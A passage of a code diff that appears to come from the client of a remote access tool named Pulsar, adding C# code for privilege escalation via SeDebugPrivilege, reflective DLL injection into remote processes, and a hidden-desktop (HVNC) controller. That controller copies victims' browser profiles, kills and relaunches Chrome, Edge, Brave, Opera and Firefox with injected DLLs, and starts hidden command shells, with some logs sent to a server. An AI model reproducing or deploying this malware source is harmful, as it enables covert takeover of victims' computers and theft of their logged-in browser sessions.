Debug.WriteLine($"[-] Failed to resume thread. Error: {Marshal.GetLastWin32Error()}"); + } + } + } + } + + /// + /// Manages Windows privileges (SeDebugPrivilege) + /// + internal static class PrivilegeManager + { + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool OpenProcessToken( + IntPtr ProcessHandle, + uint DesiredAccess, + out IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern bool LookupPrivilegeValue( + string lpSystemName, + string lpName, + out LUID lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool AdjustTokenPrivileges( + IntPtr TokenHandle, + bool DisableAllPrivileges, + ref TOKEN_PRIVILEGES NewState, + uint BufferLength, + IntPtr PreviousState, + IntPtr ReturnLength); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020; + private const uint TOKEN_QUERY = 0x0008; + private const uint SE_PRIVILEGE_ENABLED = 0x00000002; + private const string SE_DEBUG_NAME = "SeDebugPrivilege"; + + [StructLayout(LayoutKind.Sequential)] + private struct LUID + { + public uint LowPart; + public int HighPart; + } + + [StructLayout(LayoutKind.Sequential)] + private struct LUID_AND_ATTRIBUTES + { + public LUID Luid; + public uint Attributes; + } + + [StructLayout(LayoutKind.Sequential)] + private struct TOKEN_PRIVILEGES + { + public uint PrivilegeCount; + public LUID_AND_ATTRIBUTES Privileges; + } + + public static void EnableDebugPrivilege() + { + try + { + IntPtr hToken; + if (OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken)) + { + TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES + { + PrivilegeCount = 1, + Privileges = new LUID_AND_ATTRIBUTES + { + Attributes = SE_PRIVILEGE_ENABLED + } + }; + + if (LookupPrivilegeValue(null, SE_DEBUG_NAME, out tp.Privileges.Luid)) + { + AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero); + } + + CloseHandle(hToken); + } + } + catch + { + // windows basically just gave us the middle finger + } + } + } + + /// + /// Handles DLL injection using reflective loading + /// + internal static class Injector + { + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr OpenProcess( + ProcessAccessFlags processAccess, + bool bInheritHandle, + int processId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr VirtualAllocEx( + IntPtr hProcess, + IntPtr lpAddress, + uint dwSize, + AllocationType flAllocationType, + MemoryProtection flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool WriteProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + uint nSize, + out IntPtr lpNumberOfBytesWritten); + + [DllImport("kernel32.dll")] + private static extern IntPtr CreateRemoteThread( + IntPtr hProcess, + IntPtr lpThreadAttributes, + uint dwStackSize, + IntPtr lpStartAddress, + IntPtr lpParameter, + uint dwCreationFlags, + out IntPtr lpThreadId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool CloseHandle(IntPtr hObject); + + private const uint INFINITE = 0xFFFFFFFF; + + [Flags] + private enum ProcessAccessFlags : uint + { + PROCESS_CREATE_THREAD = 0x0002, + PROCESS_QUERY_INFORMATION = 0x0400, + PROCESS_VM_OPERATION = 0x0008, + PROCESS_VM_WRITE = 0x0020, + PROCESS_VM_READ = 0x0010, + All = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ + } + + [Flags] + private enum AllocationType : uint + { + MEM_COMMIT = 0x1000, + MEM_RESERVE = 0x2000 + } + + [Flags] + private enum MemoryProtection : uint + { + PAGE_EXECUTE_READWRITE = 0x40, + PAGE_READWRITE = 0x04 + } + + public static bool InjectDll(int processId, byte[] dllBuffer) + { + IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, processId); + if (hProcess == IntPtr.Zero) + { + Debug.WriteLine($"[-] Failed to open target process. Error={Marshal.GetLastWin32Error()}"); + return false; + } + + try + { + IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer); + if (hThread == IntPtr.Zero) + { + Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}"); + return false; + } + + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + return true; + } + finally + { + CloseHandle(hProcess); + } + } + + public static bool InjectDllWithHandle(IntPtr hProcess, byte[] dllBuffer) + { + if (hProcess == IntPtr.Zero || dllBuffer == null || dllBuffer.Length == 0) + { + Debug.WriteLine("[-] Invalid parameters for injection"); + return false; + } + + IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer); + if (hThread == IntPtr.Zero) + { + Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}"); + return false; + } + + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + return true; + } + + private static IntPtr LoadRemoteLibraryR(IntPtr hProcess, byte[] buffer) + { + try + { + if (hProcess == IntPtr.Zero || buffer == null || buffer.Length == 0) + return IntPtr.Zero; + + uint reflectiveLoaderOffset = PEParser.GetReflectiveLoaderOffset(buffer); + if (reflectiveLoaderOffset == 0) + { + Debug.WriteLine("[-] Failed to find ReflectiveLoader in DLL"); + return IntPtr.Zero; + } + + IntPtr lpRemoteLibraryBuffer = VirtualAllocEx( + hProcess, + IntPtr.Zero, + (uint)buffer.Length, + AllocationType.MEM_RESERVE | AllocationType.MEM_COMMIT, + MemoryProtection.PAGE_EXECUTE_READWRITE); + + if (lpRemoteLibraryBuffer == IntPtr.Zero) + { + Debug.WriteLine("[-] Failed to allocate memory in remote process"); + return IntPtr.Zero; + } + + IntPtr bytesWritten; + if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, buffer, (uint)buffer.Length, out bytesWritten)) + { + Debug.WriteLine("[-] Failed to write DLL to remote process"); + return IntPtr.Zero; + } + + IntPtr lpReflectiveLoader = IntPtr.Add(lpRemoteLibraryBuffer, (int)reflectiveLoaderOffset); + + IntPtr threadId; + IntPtr hThread = CreateRemoteThread( + hProcess, + IntPtr.Zero, + 1024 * 1024, + lpReflectiveLoader, + IntPtr.Zero, + 0, + out threadId); + + return hThread; + } + catch (Exception ex) + { + Debug.WriteLine($"[-] Exception in LoadRemoteLibraryR: {ex.Message}"); + return IntPtr.Zero; + } + } + } + + /// + /// Parses PE (Portable Executable) file format + /// + internal static class PEParser + { + #region PE Structures + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_DOS_HEADER + { + public ushort e_magic; + public ushort e_cblp; + public ushort e_cp; + public ushort e_crlc; + public ushort e_cparhdr; + public ushort e_minalloc; + public ushort e_maxalloc; + public ushort e_ss; + public ushort e_sp; + public ushort e_csum; + public ushort e_ip; + public ushort e_cs; + public ushort e_lfarlc; + public ushort e_ovno; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] + public ushort[] e_res; + + public ushort e_oemid; + public ushort e_oeminfo; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] + public ushort[] e_res2; + + public int e_lfanew; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_FILE_HEADER + { + public ushort Machine; + public ushort NumberOfSections; + public uint TimeDateStamp; + public uint PointerToSymbolTable; + public uint NumberOfSymbols; + public ushort SizeOfOptionalHeader; + public ushort Characteristics; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_DATA_DIRECTORY + { + public uint VirtualAddress; + public uint Size; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_OPTIONAL_HEADER32 + { + public ushort Magic; + public byte MajorLinkerVersion; + public byte MinorLinkerVersion; + public uint SizeOfCode; + public uint SizeOfInitializedData; + public uint SizeOfUninitializedData; + public uint AddressOfEntryPoint; + public uint BaseOfCode; + public uint BaseOfData; + public uint ImageBase; + public uint SectionAlignment; + public uint FileAlignment; + public ushort MajorOperatingSystemVersion; + public ushort MinorOperatingSystemVersion; + public ushort MajorImageVersion; + public ushort MinorImageVersion; + public ushort MajorSubsystemVersion; + public ushort MinorSubsystemVersion; + public uint Win32VersionValue; + public uint SizeOfImage; + public uint SizeOfHeaders; + public uint CheckSum; + public ushort Subsystem; + public ushort DllCharacteristics; + public uint SizeOfStackReserve; + public uint SizeOfStackCommit; + public uint SizeOfHeapReserve; + public uint SizeOfHeapCommit; + public uint LoaderFlags; + public uint NumberOfRvaAndSizes; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public IMAGE_DATA_DIRECTORY[] DataDirectory; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_OPTIONAL_HEADER64 + { + public ushort Magic; + public byte MajorLinkerVersion; + public byte MinorLinkerVersion; + public uint SizeOfCode; + public uint SizeOfInitializedData; + public uint SizeOfUninitializedData; + public uint AddressOfEntryPoint; + public uint BaseOfCode; + public ulong ImageBase; + public uint SectionAlignment; + public uint FileAlignment; + public ushort MajorOperatingSystemVersion; + public ushort MinorOperatingSystemVersion; + public ushort MajorImageVersion; + public ushort MinorImageVersion; + public ushort MajorSubsystemVersion; + public ushort MinorSubsystemVersion; + public uint Win32VersionValue; + public uint SizeOfImage; + public uint SizeOfHeaders; + public uint CheckSum; + public ushort Subsystem; + public ushort DllCharacteristics; + public ulong SizeOfStackReserve; + public ulong SizeOfStackCommit; + public ulong SizeOfHeapReserve; + public ulong SizeOfHeapCommit; + public uint LoaderFlags; + public uint NumberOfRvaAndSizes; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public IMAGE_DATA_DIRECTORY[] DataDirectory; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_SECTION_HEADER + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public byte[] Name; + + public uint VirtualSize; + public uint VirtualAddress; + public uint SizeOfRawData; + public uint PointerToRawData; + public uint PointerToRelocations; + public uint PointerToLinenumbers; + public ushort NumberOfRelocations; + public ushort NumberOfLinenumbers; + public uint Characteristics; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_EXPORT_DIRECTORY + { + public uint Characteristics; + public uint TimeDateStamp; + public ushort MajorVersion; + public ushort MinorVersion; + public uint Name; + public uint Base; + public uint NumberOfFunctions; + public uint NumberOfNames; + public uint AddressOfFunctions; + public uint AddressOfNames; + public uint AddressOfNameOrdinals; + } + + private const int IMAGE_DIRECTORY_ENTRY_EXPORT = 0; + private const ushort IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b; + private const ushort IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b; + + #endregion PE Structures + + public static uint GetReflectiveLoaderOffset(byte[] buffer) + { + try + { + int baseAddress = 0; + + IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure(buffer, 0); + + int ntHeadersOffset = baseAddress + dosHeader.e_lfanew; + + uint signature = BitConverter.ToUInt32(buffer, ntHeadersOffset); + if (signature != 0x00004550) // "PE\0\0" + return 0; + + IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure(buffer, ntHeadersOffset + 4); + + int optionalHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)); + ushort magic = BitConverter.ToUInt16(buffer, optionalHeaderOffset); + + uint exportDirRva; + + if (magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32 + { + if (IntPtr.Size != 4) + return 0; + + IMAGE_OPTIONAL_HEADER32 optHeader = ByteArrayToStructure(buffer, optionalHeaderOffset); + exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + } + else if (magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64 + { + if (IntPtr.Size != 8) + return 0; + + IMAGE_OPTIONAL_HEADER64 optHeader = ByteArrayToStructure(buffer, optionalHeaderOffset); + exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + } + else + { + return 0; + } + + if (exportDirRva == 0) + return 0; + + uint exportDirOffset = Rva2Offset(exportDirRva, buffer, baseAddress); + if (exportDirOffset == 0) + return 0; + + IMAGE_EXPORT_DIRECTORY exportDir = ByteArrayToStructure(buffer, (int)exportDirOffset); + + uint nameArrayOffset = Rva2Offset(exportDir.AddressOfNames, buffer, baseAddress); + uint addressArrayOffset = Rva2Offset(exportDir.AddressOfFunctions, buffer, baseAddress); + uint nameOrdinalsOffset = Rva2Offset(exportDir.AddressOfNameOrdinals, buffer, baseAddress); + + for (uint i = 0; i < exportDir.NumberOfNames; i++) + { + uint nameRva = BitConverter.ToUInt32(buffer, (int)(nameArrayOffset + i * 4)); + uint nameOffset = Rva2Offset(nameRva, buffer, baseAddress); + + string functionName = ReadNullTerminatedString(buffer, (int)nameOffset); + + if (functionName.Contains("ReflectiveLoader")) + { + ushort ordinal = BitConverter.ToUInt16(buffer, (int)(nameOrdinalsOffset + i * 2)); + uint functionRva = BitConverter.ToUInt32(buffer, (int)(addressArrayOffset + ordinal * 4)); + return Rva2Offset(functionRva, buffer, baseAddress); + } + } + } + catch + { + return 0; + } + + return 0; + } + + private static uint Rva2Offset(uint dwRva, byte[] buffer, int baseAddress) + { + IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure(buffer, 0); + int ntHeadersOffset = baseAddress + dosHeader.e_lfanew; + + IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure(buffer, ntHeadersOffset + 4); + int sectionHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + fileHeader.SizeOfOptionalHeader; + + IMAGE_SECTION_HEADER firstSection = ByteArrayToStructure(buffer, sectionHeaderOffset); + + if (dwRva < firstSection.PointerToRawData) + return dwRva; + + for (int i = 0; i < fileHeader.NumberOfSections; i++) + { + IMAGE_SECTION_HEADER section = ByteArrayToStructure(buffer, sectionHeaderOffset + i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))); + + if (dwRva >= section.VirtualAddress && dwRva < section.VirtualAddress + section.SizeOfRawData) + { + return dwRva - section.VirtualAddress + section.PointerToRawData; + } + } + + return 0; + } + + private static T ByteArrayToStructure(byte[] bytes, int offset) where T : struct + { + int size = Marshal.SizeOf(typeof(T)); + IntPtr ptr = Marshal.AllocHGlobal(size); + try + { + Marshal.Copy(bytes, offset, ptr, size); + return (T)Marshal.PtrToStructure(ptr, typeof(T)); + } + finally + { + Marshal.FreeHGlobal(ptr); + } + } + + private static string ReadNullTerminatedString(byte[] buffer, int offset) + { + int length = 0; + while (offset + length < buffer.Length && buffer[offset + length] != 0) + { + length++; + } + return Encoding.ASCII.GetString(buffer, offset, length); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/HVNC/ProcessController.cs b/Pulsar.Client/Helper/HVNC/ProcessController.cs new file mode 100644 index 0000000..92068de --- /dev/null +++ b/Pulsar.Client/Helper/HVNC/ProcessController.cs @@ -0,0 +1,870 @@ +using Microsoft.Win32; +using Pulsar.Client.Helper.HVNC.Chromium; +using Pulsar.Client.LoggingAPI; +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Threading; +using System.Threading.Tasks; + +namespace Pulsar.Client.Helper.HVNC +{ + public class ProcessController + { + public ProcessController(string DesktopName) + { + this.DesktopName = DesktopName; + } + + [DllImport("kernel32.dll")] + private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + private const uint WAIT_OBJECT_0 = 0x00000000; + private const uint WAIT_TIMEOUT = 0x00000102; + private const uint INFINITE = 0xFFFFFFFF; + private const int STARTF_USEPOSITION = 0x00000004; + + private readonly struct CloneResult + { + public CloneResult(bool success, bool cancelled, string destination) + { + Success = success; + Cancelled = cancelled; + Destination = destination ?? string.Empty; + } + + public bool Success { get; } + + public bool Cancelled { get; } + + public string Destination { get; } + } + + private static bool DeleteFolder(string folderPath) + { + bool result; + try + { + if (Directory.Exists(folderPath)) + { + Directory.Delete(folderPath, true); + result = true; + } + else + { + Debug.WriteLine("Folder does not exist."); + result = false; + } + } + catch (Exception ex) + { + Debug.WriteLine("Error deleting folder: " + ex.Message); + result = false; + } + return result; + } + + private void CleanupCancelledClone(string destinationDir) + { + if (string.IsNullOrWhiteSpace(destinationDir)) + { + return; + } + + try + { + if (Directory.Exists(destinationDir)) + { + Debug.WriteLine($"[BrowserClone] Cleaning up cancelled clone at '{destinationDir}'"); + DeleteFolder(destinationDir); + } + } + catch (Exception cleanupEx) + { + Debug.WriteLine($"[BrowserClone] Cleanup failed for '{destinationDir}': {cleanupEx.Message}"); + } + } + + public void StartCmd() + { + string path = "conhost cmd.exe"; + this.CreateProc(path); + } + + public void StartPowershell() + { + string path = "conhost powershell.exe"; + this.CreateProc(path); + } + + public void StartGeneric(string path) + { + string command = "conhost " + path; + this.CreateProc(command); + } + + public async Task StartFirefoxAsync() + { + BrowserCloneProgressSession progressSession = null; + Task completionTask = Task.CompletedTask; + bool cloneSucceeded = false; + bool cloneCancelled = false; + + try + { + string basePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Mozilla", "Firefox"); + + if (!Directory.Exists(basePath)) + { + Debug.WriteLine("Firefox base directory not found."); + return; + } + + string sourceDir = Path.Combine(basePath, "Profiles"); + if (!Directory.Exists(sourceDir)) + { + Debug.WriteLine("Firefox profiles directory not found."); + return; + } + + string destination = Path.Combine(basePath, "fudasf"); + if (Directory.Exists(destination)) + { + DeleteFolder(destination); + } + + progressSession = await BrowserCloneProgressSession.TryCreateAsync("Firefox").ConfigureAwait(false); + progressSession?.ReportPreparing(); + + CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None; + + try + { + cloneSucceeded = await Task.Run(() => HandleHijacker.ForceCopyDirectory(sourceDir, destination, killIfFailed: false, progressSession?.Progress, cancellationToken)).ConfigureAwait(false); + } + catch (OperationCanceledException) + { + cloneCancelled = true; + CleanupCancelledClone(destination); + } + + if (cloneCancelled) + { + Debug.WriteLine("Firefox profile cloning cancelled by user – skipping launch."); + } + else if (cloneSucceeded) + { + Debug.WriteLine("Firefox profile cloned successfully."); + } + else + { + Debug.WriteLine("Firefox profile cloning reported partial success; some files may be locked."); + } + + bool completedSuccessfully = cloneSucceeded && !cloneCancelled; + completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask; + + if (cloneCancelled) + { + return; + } + + string startCommand = $"Conhost --headless cmd.exe /c start firefox --profile=\"{destination}\""; + CreateProc(startCommand); + } + catch (OperationCanceledException) + { + completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask; + cloneCancelled = true; + Debug.WriteLine("Firefox profile cloning cancelled by user."); + } + catch (Exception ex) + { + completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask; + Debug.WriteLine("Error starting Firefox: " + ex.Message); + } + finally + { + await completionTask.ConfigureAwait(false); + progressSession?.Dispose(); + } + } + + public async Task StartBraveAsync(byte[] dllbytes) + { + try + { + var braveConfig = BrowserConfiguration.GetConfig("Brave"); + if (braveConfig == null || !BrowserConfiguration.ValidateConfig(braveConfig)) + { + Debug.WriteLine("Brave executable not found."); + return; + } + + Debug.WriteLine($"Found Brave at: {braveConfig.ExecutablePath}"); + + var cloneResult = await CloneBrowserProfileAsync(braveConfig.SearchPattern, braveConfig.ReplacementPath, "Brave").ConfigureAwait(false); + if (cloneResult.Cancelled) + { + Debug.WriteLine("Brave profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + await Task.Run(() => KDOTInjector.Start(dllbytes, braveConfig.ExecutablePath, braveConfig.SearchPattern, braveConfig.ReplacementPath)).ConfigureAwait(false); + Debug.WriteLine("Brave started successfully with reflective DLL injection."); + } + catch (Exception injectionEx) + { + Debug.WriteLine($"Error during Brave DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + Debug.WriteLine("Brave profile cloning cancelled by user."); + } + catch (Exception ex) + { + Debug.WriteLine("Error starting Brave: " + ex.Message); + } + } + + public async Task StartOperaAsync(byte[] dllbytes) + { + try + { + var operaConfig = BrowserConfiguration.GetConfig("Opera"); + if (operaConfig == null || !BrowserConfiguration.ValidateConfig(operaConfig)) + { + Debug.WriteLine("Opera executable not found."); + return; + } + + Debug.WriteLine($"Found Opera at: {operaConfig.ExecutablePath}"); + + var cloneResult = await CloneBrowserProfileAsync(operaConfig.SearchPattern, operaConfig.ReplacementPath, "Opera").ConfigureAwait(false); + if (cloneResult.Cancelled) + { + Debug.WriteLine("Opera profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaConfig.ExecutablePath, operaConfig.SearchPattern, operaConfig.ReplacementPath)).ConfigureAwait(false); + if (processId > 0) + { + Debug.WriteLine("Opera started successfully with reflective DLL injection."); + + await Task.Delay(2000).ConfigureAwait(false); + _ = Task.Run(async () => + { + try + { + await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false); + } + catch (Exception patchEx) + { + Debug.WriteLine($"Opera patcher error: {patchEx.Message}"); + } + }); + } + else + { + Debug.WriteLine("Failed to start Opera process."); + } + } + catch (Exception injectionEx) + { + Debug.WriteLine($"Error during Opera DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + Debug.WriteLine("Opera profile cloning cancelled by user."); + } + catch (Exception ex) + { + Debug.WriteLine("Error starting Opera: " + ex.Message); + } + } + + public async Task StartOperaGXAsync(byte[] dllbytes) + { + try + { + var operaGXConfig = BrowserConfiguration.GetConfig("OperaGX"); + if (operaGXConfig == null || !BrowserConfiguration.ValidateConfig(operaGXConfig)) + { + Debug.WriteLine("OperaGX executable not found."); + return; + } + + Debug.WriteLine($"Found OperaGX at: {operaGXConfig.ExecutablePath}"); + + var cloneResult = await CloneBrowserProfileAsync(operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath, "Opera GX").ConfigureAwait(false); + if (cloneResult.Cancelled) + { + Debug.WriteLine("OperaGX profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaGXConfig.ExecutablePath, operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath)).ConfigureAwait(false); + if (processId > 0) + { + Debug.WriteLine("OperaGX started successfully with reflective DLL injection."); + + await Task.Delay(2000).ConfigureAwait(false); + _ = Task.Run(async () => + { + try + { + await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false); + } + catch (Exception patchEx) + { + Debug.WriteLine($"OperaGX patcher error: {patchEx.Message}"); + } + }); + } + else + { + Debug.WriteLine("Failed to start OperaGX process."); + } + } + catch (Exception injectionEx) + { + Debug.WriteLine($"Error during OperaGX DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + Debug.WriteLine("OperaGX profile cloning cancelled by user."); + } + catch (Exception ex) + { + Debug.WriteLine("Error starting OperaGX: " + ex.Message); + } + } + + public async Task StartEdgeAsync(byte[] dllbytes) + { + try + { + var edgeConfig = BrowserConfiguration.GetConfig("Edge"); + if (edgeConfig == null || !BrowserConfiguration.ValidateConfig(edgeConfig)) + { + Debug.WriteLine("Edge executable not found."); + return; + } + + Debug.WriteLine($"Found Edge at: {edgeConfig.ExecutablePath}"); + + var cloneResult = await CloneBrowserProfileAsync(edgeConfig.SearchPattern, edgeConfig.ReplacementPath, "Edge").ConfigureAwait(false); + if (cloneResult.Cancelled) + { + Debug.WriteLine("Edge profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + await Task.Run(() => KDOTInjector.Start(dllbytes, edgeConfig.ExecutablePath, edgeConfig.SearchPattern, edgeConfig.ReplacementPath)).ConfigureAwait(false); + Debug.WriteLine("Edge started successfully with reflective DLL injection."); + } + catch (Exception injectionEx) + { + Debug.WriteLine($"Error during Edge DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + Debug.WriteLine("Edge profile cloning cancelled by user."); + } + catch (Exception ex) + { + Debug.WriteLine("Error starting Edge: " + ex.Message); + } + } + + public async Task StartChromeAsync(byte[] dllbytes) + { + try + { + var chromeConfig = BrowserConfiguration.GetChromeConfig(); + if (chromeConfig == null) + { + UniversalDebugLogger.SendLogToServer("Chrome executable not found."); + return; + } + + UniversalDebugLogger.SendLogToServer($"Found Chrome at: {chromeConfig.ExecutablePath}"); + + var cloneResult = await CloneBrowserProfileAsync(chromeConfig.SearchPattern, chromeConfig.ReplacementPath, "Chrome").ConfigureAwait(false); + if (cloneResult.Cancelled) + { + UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + await Task.Run(() => KDOTInjector.Start(dllbytes, chromeConfig.ExecutablePath, chromeConfig.SearchPattern, chromeConfig.ReplacementPath)).ConfigureAwait(false); + UniversalDebugLogger.SendLogToServer("Chrome started successfully with reflective DLL injection."); + } + catch (Exception injectionEx) + { + UniversalDebugLogger.SendLogToServer($"Error during DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user."); + } + catch (Exception ex) + { + UniversalDebugLogger.SendLogToServer("Error starting Chrome: " + ex.Message); + } + } + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint ResumeThread(IntPtr hThread); + + /// + /// Generic method to start any browser by type with reflective DLL injection. + /// + /// Type of browser (Chrome, Edge, Brave, Opera, OperaGX) + /// DLL bytes to inject + public async Task StartBrowserAsync(string browserType, byte[] dllbytes) + { + try + { + if (browserType.Equals("Chrome", StringComparison.OrdinalIgnoreCase)) + { + await StartChromeAsync(dllbytes).ConfigureAwait(false); + return; + } + + var config = BrowserConfiguration.GetConfig(browserType); + if (config == null || !BrowserConfiguration.ValidateConfig(config)) + { + Debug.WriteLine($"{browserType} executable not found."); + return; + } + + Debug.WriteLine($"Found {browserType} at: {config.ExecutablePath}"); + + string processName = Path.GetFileNameWithoutExtension(config.ExecutablePath).ToLower(); + string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F"; + + STARTUPINFO startupInfo = default(STARTUPINFO); + startupInfo.cb = Marshal.SizeOf(startupInfo); + startupInfo.lpDesktop = this.DesktopName; + startupInfo.dwX = 0; + startupInfo.dwY = 0; + startupInfo.dwFlags = STARTF_USEPOSITION; + PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION); + + if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo)) + { + Debug.WriteLine($"Waiting for {browserType} processes to terminate..."); + WaitForProcessCompletion(processInfo, 5000); + } + else + { + Debug.WriteLine("Failed to create taskkill process, using fallback delay."); + await Task.Delay(500).ConfigureAwait(false); + } + + var cloneResult = await CloneBrowserProfileAsync(config.SearchPattern, config.ReplacementPath, browserType).ConfigureAwait(false); + if (cloneResult.Cancelled) + { + Debug.WriteLine($"{browserType} profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, config.ExecutablePath, config.SearchPattern, config.ReplacementPath)).ConfigureAwait(false); + if (processId > 0) + { + Debug.WriteLine($"{browserType} started successfully with reflective DLL injection."); + + if (browserType.Equals("Opera", StringComparison.OrdinalIgnoreCase) || + browserType.Equals("OperaGX", StringComparison.OrdinalIgnoreCase)) + { + await Task.Delay(2000).ConfigureAwait(false); + _ = Task.Run(async () => + { + try + { + await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false); + } + catch (Exception patchEx) + { + Debug.WriteLine($"{browserType} patcher error: {patchEx.Message}"); + } + }); + } + } + else + { + Debug.WriteLine($"Failed to start {browserType} process."); + } + } + catch (Exception injectionEx) + { + Debug.WriteLine($"Error during {browserType} DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + Debug.WriteLine($"{browserType} profile cloning cancelled by user."); + } + catch (Exception ex) + { + Debug.WriteLine($"Error starting {browserType}: {ex.Message}"); + } + } + + public bool CreateProc(string filePath) + { + STARTUPINFO structure = default(STARTUPINFO); + structure.cb = Marshal.SizeOf(structure); + structure.lpDesktop = this.DesktopName; + // try setting position to 0,0 + structure.dwX = 0; + structure.dwY = 0; + structure.dwFlags = STARTF_USEPOSITION; + PROCESS_INFORMATION process_INFORMATION = default(PROCESS_INFORMATION); + return CreateProcess(null, filePath, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION); + } + + public void StartDiscord() + { + string discordPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Discord\\Update.exe"; + if (!File.Exists(discordPath)) return; + + string killCommand = "Conhost --headless cmd.exe /c taskkill /IM discord.exe /F"; + this.CreateProc(killCommand); + Thread.Sleep(1000); + string startCommand = "\"" + discordPath + "\" --processStart Discord.exe"; + this.CreateProc(startCommand); + } + + public void StartExplorer() + { + uint num = 2U; + string name = "TaskbarGlomLevel"; + string name2 = 